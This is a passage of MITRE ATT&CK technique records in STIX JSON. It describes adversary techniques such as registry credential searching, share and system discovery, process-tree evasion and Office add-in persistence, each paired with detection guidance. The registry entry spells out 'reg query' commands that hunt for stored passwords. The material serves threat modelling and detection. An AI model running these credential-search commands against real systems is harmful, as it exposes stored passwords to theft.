Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.\n\nExample commands to find Registry keys related to password information: (Citation: Pentestlab Stored Credentials)\n\n* Local Machine Hive: reg query HKLM /f password /t REG_SZ /s\n* Current User Hive: reg query HKCU /f password /t REG_SZ /s","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_contributors":["Sudhanshu Chauhan, @Sudhanshu_C"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor processes for applications that can be used to query the Registry, such as [Reg](https://attack.mitre.org/software/S0075), and collect command parameters that may indicate credentials are being searched. Correlate activity with related suspicious behavior that may indicate an active intrusion to reduce false positives.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows"],"x_mitre_version":"1.1","x_mitre_data_sources":["Process: Process Creation","Command: Command Execution","Windows Registry: Windows Registry Key Access"],"x_mitre_system_requirements":["Ability to query some Registry locations depends on the adversary's level of access. User permissions are usually limited to access of user-related Registry keys."],"type":"attack-pattern","id":"attack-pattern--341e222a-a6e3-4f6f-b69c-831d792b1580","created":"2020-02-04T12:58:40.678Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1552/002","external_id":"T1552.002"},{"source_name":"Pentestlab Stored Credentials","description":"netbiosX. (2017, April 19). Stored Credentials. Retrieved April 6, 2018.","url":"https://pentestlab.blog/2017/04/19/stored-credentials/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-09-29T19:44:43.870Z","name":"Network Share Discovery","description":"Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network. \n\nFile sharing over a Windows network occurs over the SMB protocol. (Citation: Wikipedia Shared Resource) (Citation: TechNet Shared Folder) [Net](https://attack.mitre.org/software/S0039) can be used to query a remote system for available shared drives using the net view \\\\\\\\remotesystem command. It can also be used to query shared drives on the local system using net share. For macOS, the sharing -l command lists all shared points used for smb services.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"discovery"}],"x_mitre_contributors":["Praetorian"],"x_mitre_deprecated":false,"x_mitre_detection":"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nNormal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["macOS","Windows","Linux"],"x_mitre_version":"3.2","x_mitre_data_sources":["Process: OS API Execution","Command: Command Execution","Process: Process Creation"],"type":"attack-pattern","id":"attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1135","external_id":"T1135"},{"source_name":"TechNet Shared Folder","description":"Microsoft. (n.d.). Share a Folder or Drive. Retrieved June 30, 2017.","url":"https://technet.microsoft.com/library/cc770880.aspx"},{"source_name":"Wikipedia Shared Resource","description":"Wikipedia. (2017, April 15). Shared resource. Retrieved June 30, 2017.","url":"https://en.wikipedia.org/wiki/Shared_resource"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-03-30T21:01:41.575Z","name":"Peripheral Device Discovery","description":"Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.(Citation: Peripheral Discovery Linux)(Citation: Peripheral Discovery macOS) Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"discovery"}],"x_mitre_detection":"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).","x_mitre_domains":["enterprise-attack"],"x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_platforms":["Windows","macOS","Linux"],"x_mitre_version":"1.3","x_mitre_data_sources":["Process: OS API Execution","Process: Process Creation","Command: Command Execution"],"x_mitre_permissions_required":["User","Administrator","SYSTEM"],"type":"attack-pattern","id":"attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643","created":"2017-05-31T21:31:28.471Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1120","external_id":"T1120"},{"source_name":"Peripheral Discovery Linux","description":"Shahriar Shovon. (2018, March). List USB Devices Linux. Retrieved March 11, 2022.","url":"https://linuxhint.com/list-usb-devices-linux/"},{"source_name":"Peripheral Discovery macOS","description":"SS64. (n.d.). system_profiler. Retrieved March 11, 2022.","url":"https://ss64.com/osx/system_profiler.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_is_subtechnique":false},{"modified":"2023-10-03T04:06:42.256Z","name":"Break Process Trees","description":"An adversary may attempt to evade process tree-based analysis by modifying executed malware's parent process ID (PPID). If endpoint protection software leverages the “parent-child\" relationship for detection, breaking this relationship could result in the adversary’s behavior not being associated with previous process tree activity. On Unix-based systems breaking this process tree is common practice for administrators to execute software using scripts and programs.(Citation: 3OHA double-fork 2022) \n\nOn Linux systems, adversaries may execute a series of [Native API](https://attack.mitre.org/techniques/T1106) calls to alter malware's process tree. For example, adversaries can execute their payload without any arguments, call the `fork()` API call twice, then have the parent process exit. This creates a grandchild process with no parent process that is immediately adopted by the `init` system process (PID 1), which successfully disconnects the execution of the adversary's payload from its previous process tree.\n\nAnother example is using the “daemon” syscall to detach from the current parent process and run in the background.(Citation: Sandfly BPFDoor 2022)(Citation: Microsoft XorDdos Linux Stealth 2022) ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_contributors":["Tim (Wadhwa-)Brown"],"x_mitre_deprecated":false,"x_mitre_detection":"","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Linux","macOS"],"x_mitre_version":"1.0","x_mitre_data_sources":["Process: OS API Execution","Process: Process Creation"],"type":"attack-pattern","id":"attack-pattern--34a80bc4-80f2-46e6-94ff-f3265a4b657c","created":"2023-09-27T19:49:40.815Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1036/009","external_id":"T1036.009"},{"source_name":"3OHA double-fork 2022","description":"Juan Tapiador. (2022, April 11). UNIX daemonization and the double fork. Retrieved September 29, 2023.","url":"https://0xjet.github.io/3OHA/2022/04/11/post.html"},{"source_name":"Microsoft XorDdos Linux Stealth 2022","description":"Microsoft Threat Intelligence. (2022, May 19). Rise in XorDdos: A deeper look at the stealthy DDoS malware targeting Linux devices. Retrieved September 27, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2022/05/19/rise-in-xorddos-a-deeper-look-at-the-stealthy-ddos-malware-targeting-linux-devices/"},{"source_name":"Sandfly BPFDoor 2022","description":"The Sandfly Security Team. (2022, May 11). BPFDoor - An Evasive Linux Backdoor Technical Analysis. Retrieved September 29, 2023.","url":"https://sandflysecurity.com/blog/bpfdoor-an-evasive-linux-backdoor-technical-analysis/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--34ab90a3-05f6-4259-8f21-621081fdaba5","type":"attack-pattern","created":"2020-10-02T15:49:03.815Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1590.004","url":"https://attack.mitre.org/techniques/T1590/004"},{"source_name":"DNS Dumpster","url":"https://dnsdumpster.com/","description":"Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020."}],"modified":"2021-04-15T03:33:02.476Z","name":"Network Topology","description":"Adversaries may gather information about the victim's network topology that can be used during targeting. Information about network topologies may include a variety of details, including the physical and/or logical arrangement of both external-facing and internal network environments. This information may also include specifics regarding network devices (gateways, routers, etc.) and other infrastructure.\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about network topologies may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: DNS Dumpster) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"reconnaissance"}],"x_mitre_detection":"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--34b3f738-bd64-40e5-a112-29b0542bc8bf","type":"attack-pattern","created":"2020-10-01T01:41:08.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1587.002","url":"https://attack.mitre.org/techniques/T1587/002"},{"url":"https://en.wikipedia.org/wiki/Code_signing","description":"Wikipedia. (2015, November 10). Code Signing. Retrieved March 31, 2016.","source_name":"Wikipedia Code Signing"}],"modified":"2021-10-17T16:07:08.549Z","name":"Code Signing Certificates","description":"Adversaries may create self-signed code signing certificates that can be used during targeting. Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Code signing provides a level of authenticity for a program from the developer and a guarantee that the program has not been tampered with.(Citation: Wikipedia Code Signing) Users and/or security tools may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is.\n\nPrior to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may develop self-signed code signing certificates for use in operations.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"resource-development"}],"x_mitre_detection":"Consider analyzing self-signed code signing certificates for features that may be associated with the adversary and/or their developers, such as the thumbprint, algorithm used, validity period, and common name. Malware repositories can also be used to identify additional samples associated with the adversary and identify patterns an adversary has used in crafting self-signed code signing certificates.\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related follow-on behavior, such as [Code Signing](https://attack.mitre.org/techniques/T1553/002) or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Malware Repository: Malware Metadata"]},{"modified":"2023-04-21T12:27:04.900Z","name":"Windows File and Directory Permissions Modification","description":"Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).\n\nWindows implements file and directory ACLs as Discretionary Access Control Lists (DACLs).(Citation: Microsoft DACL May 2018) Similar to a standard ACL, DACLs identifies the accounts that are allowed or denied access to a securable object. When an attempt is made to access a securable object, the system checks the access control entries in the DACL in order. If a matching entry is found, access to the object is granted. Otherwise, access is denied.(Citation: Microsoft Access Control Lists May 2018)\n\nAdversaries can interact with the DACLs using built-in Windows commands, such as `icacls`, `cacls`, `takeown`, and `attrib`, which can grant adversaries higher permissions on specific files and folders. Further, [PowerShell](https://attack.mitre.org/techniques/T1059/001) provides cmdlets that can be used to retrieve or modify file and directory DACLs. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), [Boot or Logon Initialization Scripts](https://attack.mitre.org/techniques/T1037), or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor and investigate attempts to modify DACLs and file/directory ownership. Many of the commands used to modify DACLs and file/directory ownership are built-in system utilities and may generate a high false positive alert rate, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible.\n\nConsider enabling file/directory permission change auditing on folders containing key binary/configuration files. For example, Windows Security Log events (Event ID 4670) are created when DACLs are modified.(Citation: EventTracker File Permissions Feb 2014)","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows"],"x_mitre_version":"1.2","x_mitre_data_sources":["Command: Command Execution","Active Directory: Active Directory Object Modification","Process: Process Creation","File: File Metadata"],"type":"attack-pattern","id":"attack-pattern--34e793de-0274-4982-9c1a-246ed1c19dee","created":"2020-02-04T19:17:41.767Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1222/001","external_id":"T1222.001"},{"source_name":"Hybrid Analysis Icacls1 June 2018","description":"Hybrid Analysis. (2018, June 12). c9b65b764985dfd7a11d3faf599c56b8.exe. Retrieved August 19, 2018.","url":"https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdfd67f4e4373c14e4d?environmentId=100"},{"source_name":"Hybrid Analysis Icacls2 May 2018","description":"Hybrid Analysis. (2018, May 30). 2a8efbfadd798f6111340f7c1c956bee.dll. Retrieved August 19, 2018.","url":"https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmentId=110"},{"source_name":"Microsoft Access Control Lists May 2018","description":"M. Satran, M. Jacobs. (2018, May 30). Access Control Lists. Retrieved February 4, 2020.","url":"https://docs.microsoft.com/en-us/windows/win32/secauthz/access-control-lists"},{"source_name":"Microsoft DACL May 2018","description":"Microsoft. (2018, May 30). DACLs and ACEs. Retrieved August 19, 2018.","url":"https://docs.microsoft.com/windows/desktop/secauthz/dacls-and-aces"},{"source_name":"EventTracker File Permissions Feb 2014","description":"Netsurion. (2014, February 19). Monitoring File Permission Changes with the Windows Security Log. Retrieved August 19, 2018.","url":"https://www.eventtracker.com/tech-articles/monitoring-file-permission-changes-windows-security-log/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-15T15:37:09.190Z","name":"Add-ins","description":"Adversaries may abuse Microsoft Office add-ins to obtain persistence on a compromised system. Office add-ins can be used to add functionality to Office programs. (Citation: Microsoft Office Add-ins) There are different types of add-ins that can be used by the various Office products; including Word/Excel add-in Libraries (WLL/XLL), VBA add-ins, Office Component Object Model (COM) add-ins, automation add-ins, VBA Editor (VBE), Visual Studio Tools for Office (VSTO) add-ins, and Outlook add-ins. (Citation: MRWLabs Office Persistence Add-ins)(Citation: FireEye Mail CDS 2018)\n\nAdd-ins can be used to obtain persistence because they can be set to execute code when an Office application starts. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor and validate the Office trusted locations on the file system and audit the Registry entries relevant for enabling add-ins.(Citation: GlobalDotName Jun 2019)(Citation: MRWLabs Office Persistence Add-ins)\n\nCollect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows","Office Suite"],"x_mitre_version":"1.2","x_mitre_data_sources":["Windows Registry: Windows Registry Key Modification","File: File Modification","Command: Command Execution","Windows Registry: Windows Registry Key Creation","Process: Process Creation","File: File Creation"],"type":"attack-pattern","id":"attack-pattern--34f1d81d-fe88-4f97-bd3b-a3164536255d","created":"2019-11-07T19:52:52.801Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1137/006","external_id":"T1137.006"},{"source_name":"FireEye Mail CDS 2018","description":"Caban, D. and Hirani, M. (2018, October 3). You’ve Got Mail! Enterprise Email Compromise. Retrieved April 22, 2019.","url":"https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s03-youve-got-mail.pdf"},{"source_name":"MRWLabs Office Persistence Add-ins","description":"Knowles, W. (2017, April 21). Add-In Opportunities for Office Persistence. Retrieved July 3, 2017.","url":"https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/"},{"source_name":"Microsoft Office Add-ins","description":"Microsoft. (n.d.). Add or remove add-ins. Retrieved July 3, 2017.","url":"https://support.office.com/article/Add-or-remove-add-ins-0af570c4-5cf3-4fa9-9b88-403625a0b460"},{"source_name":"GlobalDotName Jun 2019","description":"Shukrun, S. (2019, June 2). Office Templates and GlobalDotName - A Stealthy Office Persistence Technique. Retrieved August 26, 2019.","url":"https://www.221bluestreet.com/post/office-templates-and-globaldotname-a-stealthy-office-persistence-technique"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["ESET","Christoffer Strömblad"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--35187df2-31ed-43b6-a1f5-2f1d3d58d3f1","type":"attack-pattern","created":"2019-12-12T15:08:20.972Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1505.002","url":"https://attack.mitre.org/techniques/T1505/002"},{"source_name":"Microsoft TransportAgent Jun 2016","url":"https://docs.microsoft.com/en-us/exchange/transport-agents-exchange-2013-help","description":"Microsoft. (2016, June 1). Transport agents. Retrieved June 24, 2019."},{"source_name":"ESET LightNeuron May 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf","description":"Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019."}],"modified":"2021-10-18T17:05:44.321Z","name":"Transport Agent","description":"Adversaries may abuse Microsoft transport agents to establish persistent access to systems. Microsoft Exchange transport agents can operate on email messages passing through the transport pipeline to perform various tasks such as filtering spam, filtering malicious attachments, journaling, or adding a corporate signature to the end of all outgoing emails.(Citation: Microsoft TransportAgent Jun 2016)(Citation: ESET LightNeuron May 2019) Transport agents can be written by application developers and then compiled to .NET assemblies that are subsequently registered with the Exchange server. Transport agents will be invoked during a specified stage of email processing and carry out developer defined tasks. \n\nAdversaries may register a malicious transport agent to provide a persistence mechanism in Exchange Server that can be triggered by adversary-specified email events.(Citation: ESET LightNeuron May 2019) Though a malicious transport agent may be invoked for all emails passing through the Exchange transport pipeline, the agent can be configured to only carry out specific tasks in response to adversary defined criteria. For example, the transport agent may only carry out an action like copying in-transit attachments and saving them for later exfiltration if the recipient email address matches an entry on a list provided by the adversary. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"Consider monitoring application logs for abnormal behavior that may indicate suspicious installation of application software components. Consider monitoring file locations associated with the installation of new application software components such as paths from which applications typically load such extensible components.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["File: File Creation","Application Log: Application Log Content"],"x_mitre_permissions_required":["SYSTEM","Administrator","root"]},{"modified":"2024-10-15T16:42:22.247Z","name":"System Information Discovery","description":"An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from [System Information Discovery](https://attack.mitre.org/techniques/T1082) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nTools such as [Systeminfo](https://attack.mitre.org/software/S0096) can be used to gather detailed system information. If running with privileged access, a breakdown of system data can be gathered through the systemsetup configuration tool on macOS. As an example, adversaries with user-level access can execute the df -aH command to obtain currently mounted disks and associated freely available space. Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to gather detailed system information (e.g. show version).(Citation: US-CERT-TA18-106A) [System Information Discovery](https://attack.mitre.org/techniques/T1082) combined with information gathered from other forms of discovery and reconnaissance can drive payload development and concealment.(Citation: OSX.FairyTale)(Citation: 20 macOS Common Tools and Techniques)\n\nInfrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine.(Citation: Amazon Describe Instance)(Citation: Google Instances Resource)(Citation: Microsoft Virutal Machine API)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"discovery"}],"x_mitre_contributors":["Maril Vernon @shewhohacks","Praetorian","Austin Clark, @c2defense"],"x_mitre_deprecated":false,"x_mitre_detection":"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Further, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands may also be used to gather detailed system information with built-in features native to the network device platform. Monitor CLI activity for unexpected or unauthorized use commands being run by non-standard users from non-standard locations. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nIn cloud-based systems, native logging can be used to identify access to certain APIs and dashboards that may contain system information. Depending on how the environment is used, that data alone may not be useful due to benign use during normal operations.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Windows","IaaS","Linux","macOS","Network"],"x_mitre_version":"2.5","x_mitre_data_sources":["Process: OS API Execution","Process: Process Creation","Command: Command Execution"],"type":"attack-pattern","id":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","created":"2017-05-31T21:31:04.307Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1082","external_id":"T1082"},{"source_name":"Amazon Describe Instance","description":"Amazon. (n.d.). describe-instance-information. Retrieved March 3, 2020.","url":"https://docs.aws.amazon.com/cli/latest/reference/ssm/describe-instance-information.html"},{"source_name":"Google Instances Resource","description":"Google. (n.d.). Rest Resource: instance. Retrieved March 3, 2020.","url":"https://cloud.google.com/compute/docs/reference/rest/v1/instances"},{"source_name":"Microsoft Virutal Machine API","description":"Microsoft. (2019, March 1). Virtual Machines - Get. Retrieved October 8, 2019.","url":"https://docs.microsoft.com/en-us/rest/api/compute/virtualmachines/get"},{"source_name":"20 macOS Common Tools and Techniques","description":"Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.","url":"https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/"},{"source_name":"OSX.FairyTale","description":"Phile Stokes. (2018, September 20). On the Trail of OSX.FairyTale | Adware Playing at Malware. Retrieved August 24, 2021.","url":"https://www.sentinelone.com/blog/trail-osx-fairytale-adware-playing-malware/"},{"source_name":"US-CERT-TA18-106A","description":"US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.","url":"https://www.us-cert.gov/ncas/alerts/TA18-106A"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-08-28T14:10:33.145Z","name":"Application Layer Protocol","description":"Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nAdversaries may utilize many different protocols, including those used for web browsing, transferring files, electronic mail, DNS, or publishing/subscribing. For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are SMB, SSH, or RDP.(Citation: Mandiant APT29 Eye Spy Email Nov 22) ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"command-and-control"}],"x_mitre_contributors":["Duane Michael"],"x_mitre_deprecated":false,"x_mitre_detection":"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2)","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Linux","macOS","Windows","Network"],"x_mitre_version":"2.3","x_mitre_data_sources":["Network Traffic: Network Traffic Flow","Network Traffic: Network Traffic Content"],"type":"attack-pattern","id":"attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6","created":"2017-05-31T21:30:56.776Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1071","external_id":"T1071"},{"source_name":"University of Birmingham C2","description":"Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"},{"source_name":"Mandiant APT29 Eye Spy Email Nov 22","description":"Mandiant. (2022, May 2). UNC3524: Eye Spy on Your Email. Retrieved August 17, 2023.","url":"https://www.mandiant.com/resources/blog/unc3524-eye-spy-email"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-28T15:44:25.342Z","name":"AppDomainManager","description":"Adversaries may execute their own malicious payloads by hijacking how the .NET `AppDomainManager` loads assemblies. The .NET framework uses the `AppDomainManager` class to create and manage one or more isolated runtime environments (called application domains) inside a process to host the execution of .NET applications. Assemblies (`.exe` or `.dll` binaries compiled to run as .NET code) may be loaded into an application domain as executable code.(Citation: Microsoft App Domains) \n\nKnown as \"AppDomainManager injection,\" adversaries may execute arbitrary code by hijacking how .NET applications load assemblies. For example, malware may create a custom application domain inside a target process to load and execute an arbitrary assembly. Alternatively, configuration files (`.config`) or process environment variables that define .NET runtime settings may be tampered with to instruct otherwise benign .NET applications to load a malicious assembly (identified by name) into the target process.(Citation: PenTestLabs AppDomainManagerInject)(Citation: PwC Yellow Liderc)(Citation: Rapid7 AppDomain Manager 